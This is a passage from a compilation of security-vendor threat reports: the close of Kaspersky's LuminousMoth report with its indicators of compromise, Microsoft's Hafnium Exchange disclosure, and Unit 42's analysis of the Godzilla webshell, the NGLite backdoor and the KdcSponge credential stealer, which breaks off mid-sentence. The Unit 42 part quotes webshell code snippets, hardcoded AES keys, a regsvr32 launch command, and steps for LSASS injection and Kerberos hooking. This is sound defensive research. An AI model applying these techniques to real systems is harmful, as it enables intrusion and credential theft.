cookies stored in the Cookies file. The stealer uses the CryptUnprotectData API function to decrypt the cookies and looks for eight specific cookie values: SID, OSID, HSID, SSID, LSID, APISID, SAPISID and ACCOUNT_CHOOSER: 8/14 Cookie values the stealer looks for Once found, the malware simply displays the values of those cookies in the terminal. The Google policy available here explains that these cookies are used to authenticate users: Google policy explaining the purpose of the cookies During our test, we set up a Gmail account and were able to duplicate our Gmail session by using the stolen cookies. We can therefore conclude this post exploitation tool is dedicated to hijacking and impersonating the Gmail sessions of the targets. Command and Control For C2 communication, some of the LuminousMoth samples contacted IP addresses directly, whereas others communicated with the domain updatecatalogs.com 103.15.28[.]195 202.59.10[.]253 Infrastructure ties from those C2 servers helped reveal additional domains related to this attack that impersonate known news outlets in Myanmar, such as MMTimes, 7Day News and The Irrawaddy. Another domain mopfi-ferd[.]com also impersonated the Foreign Economic Relations Department (FERD) of the Ministry of Planning, Finance and Industry (MOPFI) in Myanmar. 9/14 mmtimes[.]net mmtimes[.]org 7daydai1y[.]com irrawddy[.]com mopfi-ferd[.]com Mopfi-ferd[.]com resolved to an IP address that was associated with a domain masquerading as the Zoom API. Since we have seen the attackers deploying a fake Zoom application, it is possible this look-alike domain was used to hide malicious Zoom traffic, although we have no evidence of this. Potentially related Zoom look-alike domains Who were the targets? 10/14 We were able to identify a large number of targets infected by LuminousMoth, almost all of which are from the Philippines and Myanmar. We came across approximately 100 victims in Myanmar, whereas in the Philippines the number was much higher, counting nearly 1,400 victims. It seems however that the actual targets were only a subset of these that included high-profile organizations, namely government entities located both within those countries and abroad. It is likely that the high rate of infections is due to the nature of the LuminousMoth attack and its spreading mechanism, as the malware propagates by copying itself to removable drives connected to the system. Nevertheless, the noticeable disparity between the extent of this activity in both countries might hint to an additional and unknown infection vector being used solely in the Philippines. It could, however, simply be that the attackers are more interested in going after targets from this region. Connections to HoneyMyte Over the course of our analysis, we noticed that LuminousMoth shares multiple similarities with the HoneyMyte threat group. Both groups have been covered extensively in our private reports, and further details and analysis of their activity are available to customers of our private APT reporting service. For more information, contact: intelreports@kaspersky.com. LuminousMoth and HoneyMyte have similar targeting and TTPs, such as the usage of DLL side-loading and Cobalt Strike loaders, and a similar component to LuminousMoth s Chrome cookie stealer was also seen in previous HoneyMyte activity. Lastly, we found infrastructure overlaps between the C2 servers used in the LuminousMoth campaign and an older one that has been attributed to HoneyMyte. Some of LuminousMoth s malicious artifacts communicate with updatecatalogs[.]com , which resolves to the same IP address behind webmail.mmtimes[.]net . This domain was observed in a campaign that dates back to early 2020, and was even found on some of the systems that were later infected with LuminousMoth. In this campaign, a legitimate binary ( FmtOptions.exe ) sideloads a malicious DLL called FmtOptions.dll , which then decodes and executes the contents of the file work.dat . This infection flow also involves a service called yerodns.dll that implements the same functionality as FmtOptions.dll The domain webmail.mmtimes[.]net previously resolved to the IP 45.204.9[.]70 . This address is associated with another MMTimes look-alike domain used in a HoneyMyte campaign during 2020: mmtimes[.]org . In this case, the legitimate executable mcf.exe loads mcutil.dll . The purpose of mcutil.dll is to decode and execute mfc.ep , a PlugX backdoor that communicates with mmtimes[.]org . Parts of this campaign were also covered in one of our private reports discussing HoneyMyte s usage of a watering hole to infect its victims. Therefore, based on the above findings, we can assess with medium to high confidence that the LuminousMoth activity is indeed connected to HoneyMyte. 11/14 Connection between HoneyMyte and LuminousMoth C2s Conclusions LuminousMoth represents a formerly unknown cluster of activity that is affiliated to a Chinese-speaking actor. As described in this report, there are multiple overlaps between resources used by LuminousMoth and those sighted in previous activity of HoneyMyte. Both groups, whether related or not, have conducted activity of the same nature large-scale attacks that affect a wide perimeter of targets with the aim of hitting a few that are of interest. On the same note, this group s activity and the apparent connections may hint at a wider phenomenon observed during 2021 among Chinese-speaking actors, whereby many are re-tooling and producing new and unknown malware implants. This allows them to obscure any ties to their former activities and blur their attribution to 12/14 known groups. With this challenge in mind, we continue to track the activity described in this publication with an eye to understanding its evolution and connection to previous attacks. Indicators of Compromise Version.dll payloads Hashes Compilation Date 0f8b7a64336b4315cc0a2e6171ab027e 2d0296ac56db3298163bf3f6b622fdc319a9be23 59b8167afba63b9b4fa4369e6664f274c4e2760a4e2ae4ee12d43c07c9655e0f Dec 24 09:20:16 2020 37054e2e8699b0bdb0e19be8988093cd 5e45e6e113a52ba420a35c15fbaa7856acc03ab4 a934ae0274dc1fc9763f7aa51c3a2ce1a52270a47dcdd80bd5b9afbc3a23c82b Dec 24 09:19:51 2020 c05cdf3a29d6fbe4e3e8621ae3173f08 75cd21217264c3163c800e3e59af3d7db14d76f8 869e7da2357c673dab14e9a64fb69691002af5b39368e6d1a3d7fda242797622 Dec 29 11:45:41 2020 5ba1384b4edfe7a93d6f1166da05ff6f 6d18970811821125fd402cfa90210044424e223a 857c676102ea5dda05899d4e386340f6e7517be2d2623437582acbe0d46b19d2 Jan 07 11:18:38 2021 afb777236f1e089c9e1d33fce46a704c cf3582a6cdac3e254c017c8ce36240130d67834a 1ec88831b67e3f0d41057ba38ccca707cb508fe63d39116a02b7080384ed0303 Jan 14 11:18:50 2021 wwlib.dll payloads Hashes Compilation Date 4fbc4835746a9c64f8d697659bfe8554 b43d7317d3144c760d82c4c7506eba1143821ac1 95bcc8c3d9d23289b4ff284cb685b741fe92949be35c69c1faa3a3846f1ab947 Dec 24 10:25:39 2020 Related payloads Hashes Name Compilation Date b31008f6490ffe7ba7a8edb9e9a8c137 c1945fd976836ba2f3fbeafa276f60c3f0e9a51c 4a4b976991112b47b6a3d6ce19cc1c4f89984635ed16aea9f88275805b005461 FmtOptions.dll Jan 11 10:00:42 2021 13/14 ac29cb9c702d9359ade1b8a5571dce7d 577ad54e965f7a21ba63ca4a361a3de86f02e925 d8de88e518460ee7ffdffaa4599ccc415e105fc318b36bc8fe998300ee5ad984 yerodns.dll Oct 29 10:33:20 2019 afe30b5dd18a114a9372b5133768151c 9a6f97300017a09eb4ea70317c65a18ea9ac49bd cf757b243133feab2714bc0da534ba21cbcdde485fbda3d39fb20db3a6aa6dee mcutil.dll Jun 13 16:35:46 2019 95991f445d846455b58d203dac530b0b cee6afa1c0c8183900b76c785d2989bd1a904ffb f27715b932fb83d44357dc7793470b28f6802c2dc47076e1bc539553a8bfa8e0 mcutil.dll Feb 21 09:41:11 2020 Post exploitation tools Hashes Name Compilation Date c727a8fc56cedc69f0cfd2f2f5796797 75d38bf8b0053d52bd5068adf078545ccdac563f 361ccc35f7ff405eb904910de126a5775de831b4229a4fdebfbacdd941ad3c56 ZoomVideoApp.exe Mar 02 10:51:31 2021 Domains and IPs 103.15.28[.]195 202.59.10[.]253 updatecatalogs[.]com mopfi-ferd[.]com mmtimes[.]net mmtimes[.]org 7daydai1y[.]com irrawddy[.]com LuminousMoth APT: Sweeping attacks for the chosen few 14/14 New nation-state cyberattacks blogs.microsoft.com/on-the-issues/2021/03/02/new-nation-state-cyberattacks March 2, 2021 Today, we re sharing information about a state-sponsored threat actor identified by the Microsoft Threat Intelligence Center (MSTIC) that we are calling Hafnium. Hafnium operates from China, and this is the first time we re discussing its activity. It is a highly skilled and sophisticated actor. Historically, Hafnium primarily targets entities in the United States for the purpose of exfiltrating information from a number of industry sectors, including infectious disease researchers, law firms, higher education institutions, defense contractors, policy think tanks and NGOs. While Hafnium is based in China, it conducts its operations primarily from leased virtual private servers (VPS) in the United States. Recently, Hafnium has engaged in a number of attacks using previously unknown exploits targeting on-premises Exchange Server software. To date, Hafnium is the primary actor ve seen use these exploits, which are discussed in detail by MSTIC here. The attacks included three steps. First, it would gain access to an Exchange Server either with stolen passwords or by using the previously undiscovered vulnerabilities to disguise itself as someone who should have access. Second, it would create what s called a web shell to control the compromised server remotely. Third, it would use that remote access run from the U.S.-based private servers to steal data from an organization s network. re focused on protecting customers from the exploits used to carry out these attacks. Today, we released security updates that will protect customers running Exchange Server. We strongly encourage all Exchange Server customers to apply these updates immediately. Exchange Server is primarily used by business customers, and we have no evidence that Hafnium s activities targeted individual consumers or that these exploits impact other Microsoft products. Even though we ve worked quickly to deploy an update for the Hafnium exploits, we know that many nation-state actors and criminal groups will move quickly to take advantage of any unpatched systems. Promptly applying today s patches is the best protection against this attack. In addition to offering new protections for our customers, we ve briefed appropriate U.S. government agencies on this activity. This is the eighth time in the past 12 months that Microsoft has publicly disclosed nationstate groups targeting institutions critical to civil society; other activity we disclosed has targeted healthcare organizations fighting Covid-19, political campaigns and others involved in the 2020 elections, and high-profile attendees of major policymaking conferences. We are encouraged that many organizations are voluntarily sharing data with the world, among each other and with government institutions committed to defense. We re grateful to researchers at Volexity and Dubex who notified us about aspects of this new Hafnium activity and worked with us to address it in a responsible way. We need more information to be shared rapidly about cyberattacks to enable all of us to better defend against them. That is why Microsoft President Brad Smith recently told the U.S. Congress that we must take steps to require reporting of cyber incidents. The exploits we re discussing today were in no way connected to the separate SolarWindsrelated attacks. We continue to see no evidence that the actor behind SolarWinds discovered or exploited any vulnerability in Microsoft products and services. Godzilla Webshell unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge November 8, 2021 By Robert Falcone, Jeff White and Peter Renals November 7, 2021 at 6:00 PM Category: Unit 42 Tags: APT, backdoor, Credential Harvesting, credential stealer, KdcSponge, ManageEngine, NGLite, TiltedTemple, Trojan, Zoho ManageEngine This post is also available in: (Japanese) Executive Summary On Sept. 16, 2021, the US Cybersecurity and Infrastructure Security Agency (CISA) released an alert warning that advanced persistent threat (APT) actors were actively exploiting newly identified vulnerabilities in a self-service password management and single sign-on solution known as ManageEngine ADSelfService Plus. The alert explained that malicious actors were observed deploying a specific webshell and other techniques to maintain persistence in victim environments; however, in the days that followed, we observed a second unrelated campaign carry out successful attacks against the same vulnerability. As early as Sept. 17 the actor leveraged leased infrastructure in the United States to scan hundreds of vulnerable organizations across the internet. Subsequently, exploitation attempts began on Sept. 22 and likely continued into early October. During that window, the actor successfully compromised at least nine global entities across the technology, defense, healthcare, energy and education industries. Following initial exploitation, a payload was uploaded to the victim network which installed a Godzilla webshell. This activity was consistent across all victims; however, we also observed a smaller subset of compromised organizations who subsequently received a modified version of a new backdoor called NGLite. The threat actors then used either the webshell or the NGLite payload to run commands and move laterally to other systems on the network, while they exfiltrated files of interest simply by downloading them from the web server. Once the actors pivoted to a domain controller, they installed a new credential-stealing tool that we track as KdcSponge. Both Godzilla and NGLite were developed with Chinese instructions and are publicly available for download on GitHub. We believe threat actors deployed these tools in combination as a form of redundancy to maintain access to high-interest networks. Godzilla is a functionalityrich webshell that parses inbound HTTP POST requests, decrypts the data with a secret key, executes decrypted content to carry out additional functionality and returns the result via a HTTP response. This allows attackers to keep code likely to be flagged as malicious off the target system until they are ready to dynamically execute it. NGLite is characterized by its author as an anonymous cross-platform remote control program based on blockchain technology. It leverages New Kind of Network (NKN) infrastructure for its command and control (C2) communications, which theoretically results in anonymity for its users. It's important to note that NKN is a legitimate networking service that uses blockchain technology to support a decentralized network of peers. The use of NKN as a C2 channel is very uncommon. We have seen only 13 samples communicating with NKN altogether nine NGLite samples and four related to a legitimate open-source utility called Surge that uses NKN for file sharing. Finally, KdcSponge is a novel credential-stealing tool that is deployed against domain controllers to steal credentials. KdcSponge injects itself into the Local Security Authority Subsystem Service (LSASS) process and will hook specific functions to gather usernames and passwords from accounts attempting to authenticate to the domain via Kerberos. The malicious code writes stolen credentials to a file but is reliant on other capabilities for exfiltration. Palo Alto Networks customers are protected against this campaign through the following: Cortex XDR local analysis blocks the NGLite backdoor. All known samples (Dropper, NGLite, KdcSponge) are classified as malware in WildFire. Cortex Xpanse can accurately identify Zoho ManageEngine ADSelfServicePlus, ManageEngine Desktop Central or ManageEngine ServiceDeskPlus Servers across customer networks. Initial Access Beginning on Sept. 17 and continuing through early October, we observed scanning against ManageEngine ADSelfService Plus servers. Through global telemetry, we believe that the actor targeted at least 370 Zoho ManageEngine servers in the United States alone. Given the scale, we assess that these scans were largely indiscriminate in nature as targets ranged from education to Department of Defense entities. 1/11 Upon obtaining scan results, the threat actor transitioned to exploitation attempts on Sept. 22. These attempts focused on CVE-2021-40539, which allows for REST API authentication bypass with resultant remote code execution in vulnerable devices. To achieve this result, the actors delivered uniquely crafted POST statements to the REST API LicenseMgr. While we lack insight into the totality of organizations that were exploited during this campaign, we believe that, globally, at least nine entities across the technology, defense, healthcare, energy and education industries were compromised. Following successful exploitation, the actor uploaded a payload which deployed a Godzilla webshell, thereby enabling additional access to a victim network. The following leased IP addresses in the United States were observed interacting with compromised servers: 24.64.36[.]238 45.63.62[.]109 45.76.173[.]103 45.77.121[.]232 66.42.98[.]156 140.82.17[.]161 149.28.93[.]184 149.248.11[.]205 199.188.59[.]192 Following the deployment of the webshell, which appears consistent across all victims, we also identified the use of additional tools deployed in a subset of compromised networks. Specifically, the actors deployed a custom variant of an open-source backdoor called NGLite and a credential-harvesting tool we track as KdcSponge. The following sections provide detailed analysis of these tools. Malware At the time of exploitation, two different executables were saved to the compromised server: ME_ADManager.exe and ME_ADAudit.exe. The ME_ADManager.exe file acts as a dropper Trojan that not only saves a Godzilla webshell to the system, but also installs and runs the other executable saved to the system, specifically ME_ADAudit.exe. The ME_ADAudit.exe executable is based on NGLite, which the threat actors use as their payload to run commands on the system. ME_ADManager.exe Dropper After initial exploitation, the dropper is saved to the following path: c:\Users\[username]\AppData\Roaming\ADManager\ME_ADManager.exe Analysis of this file revealed that the author of this payload did not remove debug symbols when building the sample. Thus, the following debug path exists within the sample and suggests the username pwn was used to create this payload: c:\Users\pwn\documents\visual studio 2015\Projects\payloaddll\Release\cmd.pdb Upon execution, the sample starts off by creating the following generic mutex found in many code examples freely available on the internet, which is meant to avoid running more than one instance of the dropper: cplusplus_me The dropper then attempts to write a hardcoded Godzilla webshell, which we will provide a detailed analysis of later in this report, to the following locations: ../webapps/adssp/help/admin-guide/reports.jsp c:/ManageEngine/ADSelfService Plus/webapps/adssp/help/admin-guide/reports.jsp ../webapps/adssp/selfservice/assets/fonts/lato/lato-regular.jsp c:/ManageEngine/ADSelfService Plus/webapps/adssp/selfservice/assets/fonts/lato/lato-regular.jsp The dropper then creates the folder %APPDATA%\ADManager and copies itself to %APPDATA%\ADManager\ME_ADManager.exe before creating the following registry keys to persistently run after reboot: Software\Microsoft\Windows\CurrentVersion\Run\ME_ADManager.exe : %APPDATA%\ADManager\ME_ADManager.exe Software\Microsoft\Windows\CurrentVersion\Run\ME_ADAudit.exe : %SYSTEM32%\ME_ADAudit.exe The dropper then copies ADAudit.exe from the current directory to the following path and runs the file with WinExec: %SYSTEM32%\ME_ADAudit.exe The dropper does not write the ME_ADAudit.exe file to disk, meaning the threat actor must upload this file to the server prior to the execution of the dropper, likely as part of the initial exploitation of the CVE-2021-40539 vulnerability. During our analysis of multiple incidents, we found that the ME_ADAudit.exe sample maintained a consistent SHA256 hash of 805b92787ca7833eef5e61e2df1310e4b6544955e812e60b5f834f904623fd9f, therefore suggesting that the actor deployed the same customized version of the NGLite backdoor against multiple targets. 2/11 As mentioned previously, the initial dropper contains a Java Server Page (JSP) webshell hardcoded within it. Upon analysis of the webshell, it was determined to be the Chinese-language Godzilla webshell V3.00+. The Godzilla webshell was developed by user BeichenDream, who stated they created this webshell because the ones available at the time would frequently be detected by security products during red team engagements. As such, the author advertises it will avoid detection by leveraging AES encryption for its network traffic and that it maintains a very low static detection rate across security vendor products. Figure 1. Detections on VirusTotal for Godzilla webshells. s no surprise that the Godzilla webshell has been adopted by regional threat groups during their intrusions, as it offers more functionality and network evasion than other webshells used by the same groups, such as ChinaChopper. The JSP webshell itself is fairly straightforward in terms of functionality and maintains a lightweight footprint. Its primary function is to parse an HTTP POST, decrypt the content with the secret key and then execute the payload. This allows attackers to keep code likely to be flagged as malicious off the target system until they are ready to dynamically execute it. The below image shows the initial part of the default JSP webshell as well as the decrypt function. Figure 2. Header of a default Godzilla JSP webshell. Of note are the variables xc and pass in the first and second lines of the code shown in Figure 2. These are the main components that change each time an operator generates a new webshell, and the variables represent the secret key used for AES decryption within that webshell. When you generate the webshell manually, you specify a plaintext pass and key. By default, these are pass and key. 3/11 Figure 3. Godzilla default webshell values. To figure out how these are presented in the webshell itself, we can take a look at the Godzilla JAR file. Below, you can see the code substitutes the strings in one of the embedded webshell templates under the /shells/cryptions/JavaAES/GenerateShellLoder function. Figure 4. GenerateShellLoder function in Generate.class file. Thus we know the xc variable in the webshell will be the AES secret key, as indicated in the template. String xc="{secretKey}"; String pass="{pass}"; String md5=md5(pass+xc); We observed that the xc value appears to be a hash, and under the /core/shell/ShellEntity.class file, we can see the code takes the first 16 characters of the MD5 hash for a plaintext secret key. public String getSecretKeyX() return functions.md5(getSecretKey()).substring(0, 16); With that, we know then that the xc value of 3c6e0b8a9c15224a is the first 16 characters of the MD5 hash for the word key. Given this, the xc and pass variables are the two primary fields that can be used for tracking and attempting to map activity across incidents. For the purpose of this blog, we generated a Godzilla webshell with the default options for analysis; however, the only differences between the default one and the ones observed in attacks are different xc and pass values. One important characteristic of this webshell is that the author touts the lack of static detection and has tried to make this file not stand out through avoiding keywords or common structures that might be recognized by security product signatures. One particularly interesting static evasion technique is the use of a Java ternary conditional operator to indicate decryption. The conditional here is m?1:2 m is a boolean value passed to this function, as shown previously in Figure 2. If m is True, then the first expression constant (1) is used. Otherwise, the second (2) is passed. Referring to the Java documentation, 1 is ENCRYPT_MODE, whereas 2 is DECRYPT_MODE. Figure 5. JavaX crypto constants meaning. When the webshell executes this function x, it does not set the value of m, thus forcing m to False and setting it to decrypt. 4/11 response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true))); To understand the capabilities of Godzilla then, we can take a look in /shells/payloads/java/JavaShell.class. This class file contains all of the functions provided to the operator. Below is an example of the getFile function. Figure 6. getFile function payload for Godzilla. Payload functions: getFile downloadFile getBasicsInfo uploadFile copyFile deleteFile newFile newDir currentDir currentUserName bigFileUpload bigFileDownload getFileSize execCommand getOsInfo moveFile getPayload fileRemoteDown setFileAttr As evidenced by the names of the functions, the Godzilla webshell offers numerous payloads for navigating remote systems, transferring data to and from, remote command execution and enumeration. These payloads will be encrypted with the secret key previously described, and the operating software will send an HTTP POST to the compromised system containing the data. Additionally, if we examine the core/ui/component/dialog/ShellSetting.class file (shown below), the initAddShellValue() function contains the default configuration settings for remote network access. Therefore, elements such as static HTTP headers and User-Agent strings can be identified in order to aid forensic efforts searching web access logs for potential compromise. private void initAddShellValue() { this.shellContext = new ShellEntity(); this.urlTextField.setText("http://127.0.0.1/shell.jsp"); this.passwordTextField.setText("pass"); this.secretKeyTextField.setText("key"); this.proxyHostTextField.setText("127.0.0.1"); this.proxyPortTextField.setText("8888"); this.connTimeOutTextField.setText("60000"); this.readTimeOutTextField.setText("60000"); this.remarkTextField.setText("??"); this.headersTextArea.setText("User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\n"); this.leftTextArea.setText(""); this.rightTextArea.setText(""); 5/11 To illustrate, below is a snippet of the web server access logs that show the initial exploit using the Curl application and sending the custom URL payload to trigger the CVE-2021-40539 vulnerability. It then shows the subsequent access of the Godzilla webshell, which has been placed into the hardcoded paths by the initial dropper. By reviewing the User-Agent, we can determine that the time from exploit to initial webshell access took just over four minutes for the threat actor. - /./RestAPI/LicenseMgr "-" X.X.X.X Y.Y.Y.Y POST [00:00:00] - - 200 "curl/7.68.0" - /help/admin-guide/reports.jsp "-" X.X.X.X Y.Y.Y.Y POST [+00:04:07] - - 200 "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0" Custom NGLite NGLite is an open-source backdoor written in the Go language (specifically Go version 1.13). It is available for download from a public GitHub repository. NGLite is a backdoor Trojan that is only capable of running commands received through its C2 channel. While the capabilities are standard for a backdoor, NGLite uses a novel C2 channel that leverages a decentralized network based on the legitimate NKN to communicate between the backdoor and the actors. The NKN touts that their decentralized network uses a public blockchain and can support communication between millions of peers, each of which are identified by a unique NKN address instead of the typical network identifiers, such as IP addresses. Therefore, the immediate IP address that the NGLite tool communicates with in its C2 channel is just a peer in the decentralized network and is unlikely to represent the threat actor s network location. This design makes detection and prevention of the NGLite C2 communication channel difficult. Fortunately, the use of NKN as a C2 channel is very uncommon. We have seen only 13 samples communicating with NKN altogether nine NGLite samples and four related to an open-source utility called Surge that uses NKN for file sharing. Eight of the nine known NGLite samples were scanned by VirusTotal. Four were undetected, three were detected by one antivirus and the remaining sample was detected by five. This low detection rate suggests that NGLite had very little antivirus coverage during this attack campaign. As mentioned in the previous section, the dropper creates registry keys and executes a custom variant of the NGLite backdoor (SHA256: 805b92787ca7833eef5e61e2df1310e4b6544955e812e60b5f834f904623fd9f) saved at the following path: C:\Windows\system32\ME_ADAudit.exe The data structures within the Go-based backdoor contain the following path, which is used to store the main source code for this custom variant of NGLite on the developers system: /mnt/hgfs/CrossC2-2.2/src/ng.com/lprey/main.go Based on this path, one might surmise that the actor used CrossC2 to build a cross platform Cobalt Strike C2 payload; however, we have no reason to believe that this payload is actually based on CrossC2, as the payload is a customized version of the publicly available NGLite backdoor. It is possible that the threat actors included the CrossC2 string in the path as a misdirection, hoping to confuse threat analysts into thinking they are delivering a Cobalt Strike payload. We have seen the following NGLite samples using this same source code path dating back to Aug. 11, which suggests that this threat actor has been using this tool for several months: 3da8d1bfb8192f43cf5d9247035aa4445381d2d26bed981662e3db34824c71fd 5b8c307c424e777972c0fa1322844d4d04e9eb200fe9532644888c4b6386d755 3f868ac52916ebb6f6186ac20b20903f63bc8e9c460e2418f2b032a207d8f21d The custom NGLite sample used in this campaign checks the command line arguments for g or group value. If this switch is not present, the payload will use the default string 7aa7ad1bfa9da581a7a04489896279517eef9357b81e406e3aee1a66101fe824 in what NGLite refers to as its seed identifier. The payload will create what it refers to as a prey id, which is generated by concatenating the MAC address of the system network interface card (NIC) and IPv4 address, with a hyphen (-) separating the two. This prey identifier will be used in the C2 communications. The NGLite payload will use the NKN decentralized network for C2 communications. See the NKN client configuration in the sample below: 6/11 Figure 7. Embedded NKN client configuration. The sample first starts by reaching out to seed.nkn[.]org over TCP/30003, specifically with an HTTP POST request that is structured as follows: Figure 8. Initial NKN HTTP POST. It also will send HTTP POST requests with monitor_03 as the prey id, as seen in the following: Figure 9. HTTP Post containing prey id. The seed.nkn[.]org server responds to this request with the [prey id (MAC-IPv4)] within the JSON structured as follows: {"id":"nkn-sdk-go","jsonrpc":"2.0","result": {"addr":"66.115.12.89:30002","id":"223b4f7f4588af02badaa6a83e402b33dea0ba8908e4cd6008f84c2b98a6a7de","pubkey":"38ce48a2a3cffded7c This suggests the payload will communicate with the peer at 66.115.12.89 over TCP/30003. The seed.nkn[.]org server then responds to the monitor_03 request with the following, which suggests the payload will communicate with 54.204.73.156 over TCP/30003: {"id":"nkn-sdk-go","jsonrpc":"2.0","result": {"addr":"54.204.73.156:30002","id":"517cb8112456e5d378b0de076e85e80afee3c483d18c30187730d15f18392ef9","pubkey":"99bb5d3b9b609a31c After obtaining the response from seed.nkn[.]org, the payload will issue an HTTP GET request to the IP address and TCP port provided in the addr field within the JSON. These HTTP requests will appear as follows, but keep in mind that these systems are not actor-controlled; rather, they are just the first peer in a chain of peers that will eventually return the actor s content: 7/11 Figure 10. NKN peering. Eventually, the network communications between the custom NGLite client and server are encrypted using AES with the following key: WHATswrongwithUu The custom NGLite sample will start by sending the C2 an initial beacon that contains the result of the whoami command with the string #windows concatenated, as seen in the following: [username]#windows After sending the initial beacon, the NGLite sample will run a sub-function called Preylistener that creates a server that listens for inbound requests. The sample will also listen for inbound communications and will attempt to decrypt them using a default AES key of 1234567890987654. It will run the decrypted contents as a command via the Go method os/exec.Command. The results are then encrypted using the same AES key and sent back to the requester. Post-exploitation Activity Upon compromising a network, the threat actor moved quickly from their initial foothold to gain access to other systems on the target networks by running commands via their NGLite payload and the Godzilla webshell. After gaining access to the initial server, the actors focused their efforts on gathering and exfiltrating sensitive information from local domain controllers, such as the Active Directory database file (ntds.dit) and the SYSTEM hive from the registry. Shortly after, we observed the threat actors installing the KdcSponge credential stealer, which we will discuss in detail next. Ultimately, the actor was interested in stealing credentials, maintaining access and gathering sensitive files from victim networks for exfiltration. Credential Harvesting and KdcSponge During analysis, Unit 42 found logs that suggest the threat actors used PwDump and the built-in comsvcs.dll to create a mini dump of the lsass.exe process for credential theft; however, when the actor wished to steal credentials from a domain controller, they installed their custom tool that we track as KdcSponge. The purpose of KdcSponge is to hook API functions from within the LSASS process to steal credentials from inbound attempts to authenticate via the Kerberos service ( KDC Service ). KdcSponge will capture the domain name, username and password to a file on the system that the threat actor would then exfiltrate manually through existing access to the server. We know of two KdcSponge samples, both of which were named user64.dll. They had the following SHA256 hashes: 3c90df0e02cc9b1cf1a86f9d7e6f777366c5748bd3cf4070b49460b48b4d4090 b4162f039172dcb85ca4b85c99dd77beb70743ffd2e6f9e0ba78531945577665 To launch the KdcSponge credential stealer, the threat actor will run the following command to load and execute the malicious module: regsvr32 /s user64.dll Upon first execution, the regsvr32 application runs the DllRegisterServer function exported by user64.dll. The DllRegisterServer function resolves the SetSfcFileException function within sfc_os.dll and attempts to disable Windows File Protection (WFP) on the c:\windows\system32\kdcsvc.dll file. It then attempts to inject itself into the running lsass.exe process by: 1. Opening the lsass.exe process using OpenProcess. 2. Allocating memory in the remote process using VirtualAllocEx. 3. Writing the string user64.dll to the allocated memory using WriteProcessMemory. 4. Calling LoadLibraryA within the lsass.exe process with user64.dll as the argument, using RtlCreateUserThread. Now that user64.dll is running within the lsass.exe process, it will start by creating the following registry key to establish persistence through system reboots: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\KDC Service : regsvr32 /s user64.dll 8/11 From there, the sample will check to make sure the system is running a Kerberos service by attempting to obtain a handle to one of the following modules: kdcsvc.dll kdccli.dll Kdcsvs.dll KdcSponge tries to locate three undocumented API functions specifically KdcVerifyEncryptedTimeStamp, KerbHashPasswordEx3 and KerbFreeKey using the following three methods: 1. Identifies the version of Kerberos module and uses hardcoded offsets to API functions to hook. 2. Reaches out to Microsoft s symbol server to find the offset to API functions within Kerberos module and confirms the correct functions by comparing to hardcoded byte sequences. 3. Searches the Kerberos module for hardcoded byte sequences. The primary method in which KdcSponge locates the API functions to hook is based on determining the version of the Kerberos module based on the TimeDateStamp value within the IMAGE_FILE_HEADER section of the portable executable (PE) file. Once the version of the Kerberos module is determined, KdcSponge has hardcoded offsets that it will use to hook the appropriate functions within that version of the module. KdcSponge looks for the following TimeDateStamp values: 2012-07-26 00:01:13 If KdcSponge was unable to determine the version of the Kerberos module and the domain controller is running Windows Server 2016 or Server 2019 (major version 10), the payload will reach out to Microsoft's symbol server (msdl.microsoft.com) in an attempt to find the location of several undocumented API functions. The sample will issue an HTTPS GET request to a URL structured as follows, with the GUID portion of the URL being the GUID value from the RSDS structure in the IMAGE_DEBUG_TYPE_CODEVIEW section of the PE: /download/symbols/[library name].pdb/[GUID]/[library name].pdb The sample will save the results to a file in the following location, again with the GUID for the filename being the GUID value from the RSDS structure in the IMAGE_DEBUG_TYPE_CODEVIEW section: ALLUSERPROFILE\Microsoft\Windows\Caches\[GUID].db: As mentioned above, we believe the reason the code reaches out to the symbol server is to find the locations of three undocumented Kerberosrelated functions: KdcVerifyEncryptedTimeStamp, KerbHashPasswordEx3 and KerbFreeKey. The sample is primarily looking for these functions in the following libraries: kdcsvc.KdcVerifyEncryptedTimeStamp kdcsvc.KerbHashPasswordEx3 kdcpw.KerbHashPasswordEx3 kdcsvc.KerbFreeKey kdcpw.KerbFreeKey If these functions are found, the sample searches for specific byte sequences, as seen in Table 1, to confirm the functions are correct and to validate they have not been modified. Function Hex bytes kdcsvc.KdcVerifyEncryptedTimeStamp 48 89 5c 24 20 55 56 57 41 54 41 55 41 56 41 57 48 8d 6c 24 f0 48 81 ec 10 01 00 00 48 8b 05 a5 kdcsvc.KerbHashPasswordEx3 48 89 5c 24 08 48 89 74 24 10 48 89 7c 24 18 55 41 56 41 57 48 8b ec 48 83 ec 50 48 8b da 48 kdcpw.KerbHashPasswordEx3 48 89 5c 24 08 48 89 74 24 10 48 89 7c 24 18 55 41 56 41 57 48 8b ec 48 83 ec 50 48 8b da 48 kdcpw.KerbFreeKey 48 89 5c 24 08 57 48 83 ec 20 48 8b d9 33 c0 8b 49 10 48 8b 7b 18 f3 aa 48 8b 4b 18 ff 15 72 19 kdcsvc.KerbFreeKey 48 89 5c 24 08 57 48 83 ec 20 48 8b 79 18 48 8b d9 48 85 ff 0f 85 00 c5 01 00 33 c0 48 89 03 48 Table 1. Undocumented functions and byte sequences used by KdcSponge to confirm the correct functions for Windows major version 10. If the domain controller is running Windows Server 2008 or Server 2012 (major version 6), KdcSponge does not reach out to the symbol server and instead will search the entire kdcsvc.dll module for the byte sequences listed in Table 2 to find the API functions. Function Hex bytes kdcsvc.KdcVerifyEncryptedTimeStamp 48 89 5C 24 20 55 56 57 41 54 41 55 41 56 41 57 48 8D 6C 24 F9 48 81 EC C0 00 00 00 48 8B kdcsvc.KerbHashPasswordEx3 48 89 5C 24 08 48 89 74 24 10 48 89 7C 24 18 55 41 56 41 57 48 8B EC 48 83 EC 40 48 8B F1 9/11 kdcsvc.KerbFreeKey 40 53 48 83 EC 20 48 8B D9 48 8B 49 10 48 85 C9 0F 85 B4 B9 01 00 33 C0 48 89 03 48 89 43 Table 2. Undocumented functions and byte sequences used by KdcSponge to locate the sought after functions. Once the KdcVerifyEncryptedTimeStamp, KerbHashPasswordEx3 and KerbFreeKey functions are found, the sample will attempt to hook these functions to monitor all calls 